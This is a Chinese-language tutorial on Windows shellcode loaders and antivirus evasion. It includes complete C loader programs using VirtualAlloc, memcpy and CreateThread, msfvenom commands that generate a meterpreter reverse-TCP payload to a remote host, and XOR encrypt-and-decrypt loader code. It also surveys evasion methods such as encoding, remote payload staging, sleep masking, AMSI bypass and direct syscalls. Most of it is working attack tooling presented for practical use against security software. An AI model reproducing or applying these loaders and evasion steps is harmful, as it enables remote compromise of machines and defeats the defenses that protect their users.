shellcode
概念
shellcode是一种特殊的二进制代码,主要用于在目标系统上执行特定的操作,之所以称为shellcode是因为大多数二进制代码成功利用后会获取目标系统 shell 的控制权
shellcode文件
通常是一个二进制文件,以二进制格式存储,一般情况下还可能以十六进制字符串的格式出现,但运行时依旧被视为二进制数据
出现原因
可以进行不同方式控制主机,解决只有exe上限的困局
如何运行
一般情况下我们拿到的shellcode,要么是十六进制,要么是二进制,他们都是不能单独直接运行的文件,需要借助加载器实现 shellcode 的运行
使用加载器加载shellcode
编写
VirtualAlloc函数
是Windows API中用于分配/申请、保留或者提交内存区域的函数,原型如下
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
含义:
lpAddress:指定分配或者保留内存区域的首选基地址。如果此参数为NULL,则系统会选择适当的地址;如果指定了地址,系统就会尝试在指定的基地址上分配内存dwSize:指定要分配的内存区域大小,单位字节flAllocationType:指定内存的分配类型MEM_COMMIT(0x1000):为已保留或新建的地址区域分配物理存储(物理内存或分页文件),页面内容被初始化为零MEM_RESERVE(0x2000):仅保留进程的虚拟地址空间,不分配任何物理存储。常与MEM_COMMIT组合使用(即0x3000),先保留再提交MEM_RESET(0x80000):声明该内存区域的数据已不再需要,系统可随时丢弃其物理页以缓解内存压力。被丢弃的页面内容变为未定义,不保证清零
flProtect:指定内存保护属性,可能的值包括:- 1. 基础读写/执行权限(核心常量)
PAGE_NOACCESS (0x01):禁止所有访问。任何对该区域的读取、写入或执行操作都将直接引发访问违规(Access Violation)异常。PAGE_READONLY (0x02):允许只读访问。如果试图写入数据或执行该区域中的代码,将引发异常。PAGE_READWRITE (0x04):允许读取和写入访问。这是最常用的数据页面属性(如堆栈、全局变量区)。PAGE_EXECUTE (0x10):允许执行代码,但拒绝读取和写入操作。PAGE_EXECUTE_READ (0x20):允许执行和读取代码,禁止写入。常用于存放合法的、不可修改的可执行代码段。PAGE_EXECUTE_READWRITE (0x40):允许执行、读取和写入操作。常用于动态代码生成(JIT 编译)或 shellcode 载入,具有极高的安全风险。
- 2. 写时复制权限(Copy-on-Write, COW 常量)
PAGE_WRITECOPY (0x08):写时复制(数据)。允许读取,但不能直接修改原始物理内存。- 当进程尝试向该区域写入数据时,系统会拦截此操作,并在物理内存中为该页面创建一个私有副本。
- 随后的修改将写入副本中,之后的读写均针对该副本,从而避免影响其他共享该内存的进程。
- 常见场景:加载可执行文件(
.dll/.exe)的初始数据段。
PAGE_EXECUTE_WRITECOPY (0x80):写时复制(可执行代码)。其行为与PAGE_WRITECOPY机制完全相同,但额外允许在该内存区域中执行代码。- 常见场景:映射可执行映像(Image)的代码段。当多个进程共享同一个 DLL 的代码时,若某个进程(如调试器)试图修改代码(如下断点或进行 API Hooking),系统会为其生成私有副本,确保其他进程不受影响。
- 3. 高级属性修饰符(可通过位或运算符
|与上述常量组合使用)PAGE_GUARD (0x100):将页面标记为守护页面(Guard Page)。- 当该页面第一次被访问(读或写)时,系统会抛出一个
STATUS_GUARD_PAGE_VIOLATION异常,并自动移除该页面的守护属性。 - 常见场景:用于线程栈(Stack)的动态增长监测或边界溢出检测。
- 当该页面第一次被访问(读或写)时,系统会抛出一个
PAGE_NOCACHE (0x200):禁止 CPU 缓存该内存页面的内容。所有读写操作将直接作用于物理内存,通常用于驱动程序开发或特定的硬件外设交互。PAGE_WRITECOMBINE (0x400):允许写组合。将多个写操作合并为一个总线周期进行传输,用以优化视频缓冲区等设备的写入性能。
- 1. 基础读写/执行权限(核心常量)
memcpy函数
是 C 标准库(<string.h>)中用于将一段内存按字节复制到另一段内存的函数,原型如下
void *memcpy(void *dest, const void *src, size_t count);含义:
dest:目标内存地址,复制的内容写入此处src:源内存地址,复制的内容从此处读取count:要复制的字节数
返回值:返回 dest。该函数不处理内存重叠(overlapping),若源、目区域重叠应改用 memmove。
在 shellcode 加载场景中,memcpy 的作用是把程序数据段里的 shellcode 拷贝进 VirtualAlloc 申请到的可执行内存。也可用 Windows API RtlMoveMemory(由 ntdll.dll 导出)替代,二者行为等价:
RtlMoveMemory(addr, sc, len); // 等价于 memcpy(addr, sc, len)CreateThread函数
是 Windows API 中用于在当前进程内创建一个新线程的函数。加载 shellcode 时需要借助它,从 shellcode 首地址起开一条线程去执行。原型如下
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);含义:
lpThreadAttributes:指向安全属性结构的指针,决定返回句柄能否被子进程继承。传NULL表示不可继承dwStackSize:线程栈初始大小(字节),传0使用系统默认值(通常 1MB)lpStartAddress:线程函数起始地址。加载 shellcode 时,这里传VirtualAlloc返回的 shellcode 内存地址,线程便从该处第一条指令开始执行lpParameter:传给线程函数的单个参数指针,不需要时传NULLdwCreationFlags:创建标志。传0表示创建后立即运行;传CREATE_SUSPENDED(0x4)表示创建后挂起,需用ResumeThread唤醒(进程注入常用)lpThreadId:接收线程 ID 的变量指针,不需要时传NULL
返回值:成功返回新线程句柄 HANDLE,失败返回 NULL。
WaitForSingleObject函数
是 Windows API 中用于等待某个内核对象进入”已通知”(signaled)状态的函数。在加载器中,主线程创建子线程执行 shellcode 后,若不阻塞等待,主线程会立即退出,导致整个进程(连同子线程)被销毁,shellcode 来不及执行。原型如下
DWORD WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds);含义:
hHandle:要等待的对象句柄,这里传入CreateThread返回的线程句柄dwMilliseconds:超时时间(毫秒)。传INFINITE(0xFFFFFFFF)表示无限等待,直到对象进入 signaled 状态
线程执行结束时会自动进入 signaled 状态,因此 INFINITE 会一直阻塞到 shellcode 线程退出。
完整加载示例(C语言)
把上述四个 API 串起来,就是一个最朴素的 shellcode 加载器:
#include <windows.h>
#include <string.h>
// 示例 shellcode,实际使用时替换为 msfvenom 等生成的真实 payload
unsigned char sc[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
/* ... 填充完整的 shellcode ... */
};
int main() {
// 1. 申请可读可写可执行(RWX)内存
void *addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (addr == NULL) return -1;
// 2. 将 shellcode 复制到申请的内存中
memcpy(addr, sc, sizeof(sc));
// 3. 创建线程,从 shellcode 首地址开始执行
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
if (hThread == NULL) return -1;
// 4. 阻塞等待 shellcode 线程执行结束
WaitForSingleObject(hThread, INFINITE);
// 5. 释放线程句柄
CloseHandle(hThread);
return 0;
}这是最基础的加载链:VirtualAlloc(RWX) → memcpy → CreateThread → WaitForSingleObject,能跑通但毫无免杀能力——直接申请 RWX 内存、明文 shellcode、API 调用全部暴露在用户态 hook 下。多种免杀写法见 4 加载器的编写。
shellcode免杀
上面的原始加载器在现代杀软面前几乎”裸奔”,需要从多个维度对 shellcode 数据本身和加载过程做处理。本节聚焦 shellcode 数据层的免杀;进程注入、direct syscall 等加载层技术见 4 加载器的编写。
坏字符处理
生成的 shellcode 中可能包含对某些场景有害的字节(坏字符,bad chars),例如:
\x00(空字节):C 字符串截断符,会导致memcpy、strcpy等提前终止\x0a(\n)、\x0d(\r):换行符,经网络或命令行传递时会被截断\xff:部分协议的结束标志
用 msfvenom 生成时通过 -b 参数规避:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=4444 -b "\x00\x0a\x0d" -f c
编码免杀
通过 encoder 对 shellcode 做多态编码以破坏原有特征码。msf 最常用的是 x86/shikata_ga_nai(多态编码,每次生成结果不同):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=4444 -e x86/shikata_ga_nai -i 15 -b "\x00" -f c
-i 控制编码次数,但次数越多不代表免杀越强,过多反而容易生成失败。多重编码可用管道串联不同 encoder,详见 1 免杀工具的使用。
加密免杀
将 shellcode 用对称加密(XOR、RC4、AES 等)处理后硬编码进加载器,运行时再解密执行。相比 encoder,加密后的密文熵值高、无公开特征,且密钥/算法可自定义,杀软难以建立通用查杀规则。以最简单的单字节 XOR 为例:
生成时加密(Python,对 msfvenom 输出的 raw 文件做 XOR,并打印成 C 数组):
key = 0x41 # XOR 密钥
enc = bytes(b ^ key for b in open("shellcode.raw", "rb").read())
print("unsigned char sc[] = {")
for i in range(0, len(enc), 16):
print(" " + ", ".join("0x{:02x}".format(b) for b in enc[i:i+16]) + ",")
print("};")加载时解密(C,先申请内存写入密文,再原地 XOR 解密,最后改权限执行):
#include <windows.h>
#include <string.h>
unsigned char sc[] = { /* XOR 加密后的密文 */ };
int main() {
unsigned char key = 0x41;
SIZE_T len = sizeof(sc);
// 1. 先申请 RW 内存(不直接 RWX,规避高危页面信号)
void *addr = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (addr == NULL) return -1;
// 2. 写入密文
memcpy(addr, sc, len);
// 3. 原地 XOR 解密
for (SIZE_T i = 0; i < len; i++) {
((unsigned char *)addr)[i] ^= key;
}
// 4. 改为只读可执行(先写后改,全程不出现 RWX 页)
DWORD oldProtect;
VirtualProtect(addr, len, PAGE_EXECUTE_READ, &oldProtect);
// 5. 创建线程执行
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}单字节 XOR 强度很低(易被熵分析 + 暴力还原),实战更推荐 RC4(流密码、密钥可变)或 AES(分组密码)。XOR 的价值在于把”密文落地 + 运行时解密”这条最基本的免杀链路讲清楚。
分离免杀
把 shellcode 与加载器物理分离,避免杀软同时扫到加载器特征和 shellcode 特征。常见做法:
- 加密后的 shellcode 写入看似无害的文件(图片、证书、文本、资源段),加载器运行时再读取并解密
- 从远程(HTTP、DNS、第三方网盘)拉取 shellcode,本地文件不含任何 payload
- 将 shellcode 作为资源嵌入正常 PE 文件,见 3 白加黑
分离后加载器本身不含敏感字节,静态扫描极难命中,是实战中最常用的免杀思路之一。
内存层对抗
即使静态免杀成功,shellcode 落地内存后仍可能被内存扫描、AMSI、ETW 命中:
- 不直接申请 RWX:先
RW写入、再用VirtualProtect改RX,避免”可读可写可执行”这一高危页面属性 - 加密睡眠:线程空闲时加密自身内存、
Sleep醒来后再解密,躲避定时内存扫描(如 Cobalt Strike 的 sleep_mask) - AMSI bypass:在 PowerShell / .NET 加载场景下 patch 掉 AMSI,避免脚本内容被扫描
- syscall / indirect syscall:绕过
ntdll用户态 hook,详见 4 加载器的编写